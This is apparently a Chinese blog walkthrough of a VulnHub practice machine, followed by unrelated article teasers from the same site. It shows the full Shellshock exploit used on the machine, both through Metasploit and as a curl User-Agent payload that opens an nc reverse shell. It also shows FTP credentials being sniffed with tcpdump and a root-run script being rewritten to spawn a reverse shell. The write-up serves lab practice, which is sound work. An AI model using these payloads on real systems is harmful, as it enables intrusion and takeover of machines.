靶机地址
难度:中等难度
靶机发布日期:2019年7月20日
靶机描述:
Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you’re welcome to contact me via Twitter @zayotic
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
netdiscover
nmap
dirbuster
pspy
tcpdump
metasploit
curl
wireshark
靶机IP:192.168.0.110
netdiscover -r 192.168.0.0/24
端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.110
页面、目录枚举
dirb http://192.168.0.110 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.110 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
http://192.168.0.110/
http://192.168.0.110/gate/
target设置为http://192.168.0.110/尝试了不同的字典,发现的结果只有index.html和/gate
随后将目标更改为http://192.168.0.110/gate/,使用字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
真有点十八层地狱(underworld)的意思,不可能再往下扫了,不带这么变态的
工具换成dirbuster
,字典还是用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
每次扫描到/cgi-bin/underworld
就暂停了,可能线程数太多了……所以直接将目标设为http://192.168.0.110/cgi-bin/
访问http://192.168.0.110/cgi-bin/underworld/login.php
下图是我在kali里面执行uptime
命令的结果,是不是跟上图中的格式一模一样。如果是个老司机,应该可以直接得出靶机可能有shellshock
漏洞的结论,可是我不是老司机……哈哈哈
依次访问如下页面,均得到类似的结果
关于shellshock漏洞我看了这几篇文章
第一种方式是使用MSF提供的exploit
msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set rhosts 192.168.0.110
set targeturi /cgi-bin/underworld
exploit
第二种方式是使用curl将bash命令作为特殊请求的User-Agent进行传递,实际上nc反弹shell的命令是由Bash执行的。
首先,kali上使用nc监听端口;
nc -nlvp 1234
然后,使用curl发送特殊请求
curl -A "() { :; }; /bin/bash -c 'nc 192.168.0.108 1234 -e /bin/sh'" http://192.168.0.107/cgi-bin/underworld
至于为什么可以反弹桑shell,这里借用嘶吼上的一篇文章的解释(就是上面我看的那一篇):
运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
我这里直接手动进行信息收集,下面是过程:
查看/etc/passwd
中有哪些用户
查找SUID权限的可执行文件,没有发现可用于提权的可执行文件
find / -perm -u=s -type f 2>/dev/null
查找全局用户可写文件,无
find / -wirteable -type f 2>/dev/null
查找计划任务。主要是看看有没有高权限用户的计划任务脚本,并且当前用户拥有脚本的写权限。
查看当前用户可执行的sudo权限命令
sudo -l
查看内核版本,也许可以直接内核提权,但这里是没有的
上面几个都试过了之后还是没有什么发现,基本上就要去目录中“扫荡”了
查看了/home目录下的两个用户文件夹,没有什么发现
/tmp目录下发现了一个ELF可执行文件ykdwB,要是分析这个可执行文件那就难为我了,本来想使用strings ykdwB
看看有没有什么字符串打印出来,结果提示strings: command not found,果断放弃了……
手工信息收集无果,那我们就上脚本。执行linuxprivchecker.py脚本后,对得到的结果进行查看,发现了以下信息:
安装的软件exim4 4.89-2
正在运行的进程proftpd
使用searchsploit搜索exim 4.89,只发现一个DoS攻击的exploit;正在运行的进程是proftpd,也许可以嗅探一下。
这里先介绍另一个工具pspy,Github地址
pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.
The tool gathers the info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.
pspy是一种命令行工具,旨在无需根权限就可以窥探进程。 它使您可以查看其他用户执行的命令,cron作业等。 非常适合枚举CTF中的Linux系统。 很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。 放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。
使用方法(Google翻译)
言归正传。之前在查看linuxprivchecker脚本执行结果的时候发现靶机上已经安装了tcpdump
,我们就用这个工具来尝试抓取数据,因为ftp协议是明文传输的,如果我们可以抓取到ftp连接的数据,那么就可以得到用户名密码了。
tcpdump需要指定需要抓住哪个网络接口的数据。获取网络接口(Network Interfaces)的方式如下:
有两个网络接口,该用哪一个?这里可以使用tcpdump -D
,然而发现两个都在运行
一番搜索之后,得到了如下的结果
网络接口lo是loopback状态的,我们就抓取流过这个网络接口的数据包了。抓包时长7分钟
在靶机上使用python开启HTTP服务,将ftp.pcap下载到kali使用wireshark进行分析
用wireshark打开pcap包,过滤器中输入tcp.port == 21
,然后选中下方一条记录,右键–>跟踪(Follow)–>TCP流(TCP Stream),发现ftp用户名和密码
使用hades/PTpZTfU4vxgzvRBE登录SSH,还记得之前的ftpclient.py脚本吗?我们使用pspy的时候发现这个脚本是root权限运行的(UID = 0),如果hades用户拥有该脚本的写入权限,那么我们就可以提权了。查看ftpclient.py脚本的权限设置
使用nano或vim修改ftpclient.py脚本。我这里使用的是nano,使用方法可以搜索一下。内容如下:
import sys
import os
os.system("nc -e /bin/bash 192.168.0.108 1234")
kali上监听1234端口,等待脚本的自动执行
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。如果您觉得这篇博客写的还不错,也欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。与我联系可扫描下方个人微信二维码。
文章浏览阅读479次,点赞9次,收藏3次。本文简要介绍了短剧分销系统的现状、施工过程、系统的功能和更新项目。想了解建立短剧分销系统的私人信息沟通。
文章浏览阅读757次。作者:孙健孙健,爱可生研发工程师,负责 SQLE 相关开发;本文来源:原创投稿*爱可生开源社区出品,原创内容未经授权不得随意使用,转载请联系小编并注明来源。前言近些年来,数据库产业发展迅猛,各种新兴数据库如雨后春笋般出现,各个公司的技术栈也不再局限于某一种数据库。对于SQL质量管理平台来说仅支持某一个类型的数据库(例如MySQL),那么是会有一定的局限性,SQLE在设计之初考虑支持多种数据库,因此产品设计时,将审核流程(业务)的代码和具体SQL审核上线的代码进行分离,SQL审核上线通过插件的._sqle 插件部署
文章浏览阅读112次。本文收集了大量PyTorch项目(备查)转自:https://blog.csdn.net/fuckliuwenl/article/details/80554182目录:入门系列教程入门实例图像、视觉、CNN相关实现对抗生成网络、生成模型、GAN相关实现机器翻译、问答系统、NLP相关实现先进视觉推理系统深度强化学习相关实现通用神经网络高级应用..._training a cartpole to balance in openai gym with actor-critic
文章浏览阅读1.7k次。我们做微信公众号项目的时候,肯定会进行授权,但是这个授权有一个很大很大的bug,就是重定向的时候会默认把#后面的内容给截取掉,然后很容易造成死循环等一系列问题我们就当需要跳转的链接是这样的:http:22.22.22.22:8080/index.html#/transformAp?Village_id=2做公众号项目肯定要截取url上的参数对吧,因为这个链接有’#’,所以获取不到Village_id咋解决呢?解决方法一:把链接换成这样的http:22.22.22.22:8080/index._微信公众号带#
文章浏览阅读252次。总之,这个Vue组件的作用是在页面上渲染两个ECharts图表,每个图表都有自己的数据和配置选项,并在组件挂载后自动初始化。这段代码是一个Vue.js组件,用于渲染两个ECharts图表(mychart1和mychart2)。这是Vue组件的JavaScript逻辑部分,包含了ECharts图表的初始化和数据配置。:这行代码导入ECharts库,使你可以在组件中使用ECharts的功能。这是Vue组件的模板部分,用于定义组件的外观和结构。在这个钩子中,你将调用。的方法,用于初始化ECharts图表。_vue如何引入 charts-stat
文章浏览阅读7.3k次,点赞63次,收藏49次。各位小伙伴们大家好呀!今天继续SAP ABAP系列文章的讲解,本节继续讲解OPEN SQL中的DML语句,本节内容涉及到DELETE语句和MODIFY语句,希望大家喜欢!_sap modify
文章浏览阅读1.2k次。首先说明dmp文件:Oracle备份文件是以dmp结尾,这种文件是oracle的逻辑备份文件,常用于数据库逻辑备份,数据库迁移等操作。 一.Oracle导入备份文件步骤:我用的是Oracle 11g版本1.把数据库的备份文件:xx.DMP 拷贝到oracle安装目录下的dpdump文件夹中,比如我的路径是: D:\work\app\admin\orcl\dpdump ..._oracle导出dmp文件叫做逻辑备份还是物理备份
文章浏览阅读6.7k次,点赞14次,收藏24次。用户名含中文导致的cube安装失败_can't initialize plug-ins directory
文章浏览阅读864次,点赞14次,收藏13次。我们首先应该知道,所谓按钮静态文本等等控件都是窗口,他们都是隶属于父窗口下的子窗口,所以在创建控件前,我们要首先创建一个父窗口,此处我们直接使用Windows桌面程序创建时,程序自动为我们创建的一个窗口,该窗口如下表示:nullptrnullptrnullptr此时我们已经有了一个主窗口,接下来开始讲解控件的创建和应用在以下控件内容中,我们首先在全局变量中定义我们的控件ID,以便我们后续控件的查找#define0#define1#define2按钮的创建。
文章浏览阅读7.4k次,点赞4次,收藏53次。一、查Table显示查询数据,官方api1、常用到的属性属性名 描述 数据格式 columns (必选)表头 [ {title: '姓名',dataIndex: 'name'}, {title: '年龄',dataIndex: 'age'} ] data-source (必选)表头 [ {UserID:13,name: '张三',age: '12'}, {UserID:16,name: '王五',..._用ant-design-vue4.0实现table表格的增删改查不调用接口写法
文章浏览阅读1.2w次,点赞4次,收藏13次。问题: 我的程序在其内部创建并执行了多个线程,我怎样才能在该程序创建线程后监控其中单个线程?我想要看到带有它们名称的单个线程详细情况(如,CPU/内存使用率)。本文参考了百度百科。线程是现代操作系统上进行并行执行的一个流行的编程方面的抽象概念。当一个程序内有多个线程被叉分出用以执行多个流时,这些线程就会在它们之间共享 特定的资源(如,内存地址空间、打开的文件),以使叉分开销最小化,并避免大量高..._linux thread 查看进程下面的 线程
文章浏览阅读959次,点赞2次,收藏6次。视图(view)是在基本表之上建立的表,它的结构(即所定义的列)和内容(即所有数据行)都来自基本表,它依据基本表存在而存在。一个视图可以对应一个基本表,也可以对应多个基本表。4.视图是查看数据表的一种方法,可以查询数据表中某些字段构成的数据,只是一些SQL语句的集合。从安全的角度说,视图可以不给用户接触数据表,从而不知道表结构。3.表只用物理空间而视图不占用物理空间,视图只是逻辑概念的存在,表可以及时对它进行修改,但视图只能有创建的语句来修改。6.视图的建立和删除只影响视图本身,不影响对应的基本表。